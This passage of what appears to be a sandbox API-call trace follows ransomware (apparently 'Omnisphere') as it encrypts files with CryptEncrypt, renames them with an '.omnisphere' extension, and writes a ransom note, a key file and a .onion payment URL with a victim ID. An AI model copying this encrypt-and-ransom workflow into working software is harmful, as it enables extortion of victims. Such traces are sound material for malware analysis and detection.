pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.210] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.211] CryptDestroyKey (hKey=0x16396e8) returned 1 [0126.211] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0126.211] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x39d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.211] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.211] GetProcessHeap () returned 0x1600000 [0126.211] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16ccaa8 [0126.211] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\iihmv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\iihmv.lnk.omnisphere")) returned 1 [0126.212] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk.omnisphere.id" [0126.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\iihmv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.213] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.214] CloseHandle (hObject=0x3c0) returned 1 [0126.214] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.214] CloseHandle (hObject=0x288) returned 1 [0126.214] SetEndOfFile (hFile=0x28c) returned 1 [0126.215] FlushFileBuffers (hFile=0x28c) returned 1 [0126.221] CloseHandle (hObject=0x28c) returned 1 [0126.221] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.221] GetProcessHeap () returned 0x1600000 [0126.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.221] GetProcessHeap () returned 0x1600000 [0126.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1f50 [0126.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1f50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.221] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.221] GetProcessHeap () returned 0x1600000 [0126.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b00c8 [0126.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b00c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.221] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.221] GetProcessHeap () returned 0x1600000 [0126.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf528 [0126.221] PathCombineW (in: pszDest=0x16bf528, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.221] GetProcessHeap () returned 0x1600000 [0126.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c2d20 [0126.221] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.222] WriteFile (in: hFile=0x28c, lpBuffer=0x16c2d20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c2d20*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.222] CloseHandle (hObject=0x28c) returned 1 [0126.222] GetProcessHeap () returned 0x1600000 [0126.222] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.222] GetProcessHeap () returned 0x1600000 [0126.222] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.222] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.222] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.222] CloseHandle (hObject=0x28c) returned 1 [0126.222] GetProcessHeap () returned 0x1600000 [0126.222] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.222] GetProcessHeap () returned 0x1600000 [0126.222] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b628 | out: hHeap=0x1600000) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f4fcfa9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f4fcfa9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f4fcfa9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5ff, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ILyt.lnk", cAlternateFileName="")) returned 1 [0126.223] GetProcessHeap () returned 0x1600000 [0126.223] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167c0c8 [0126.223] PathCombineW (in: pszDest=0x167c0c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ILyt.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk" [0126.223] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilyt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.223] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1535) returned 1 [0126.223] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xdb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.223] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0126.223] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ff, lpName=0x0) returned 0x288 [0126.223] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0126.223] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.223] CloseHandle (hObject=0x288) returned 1 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] GetTickCount () returned 0x115f808 [0126.224] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16691a8) returned 1 [0126.225] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.225] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.225] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.225] 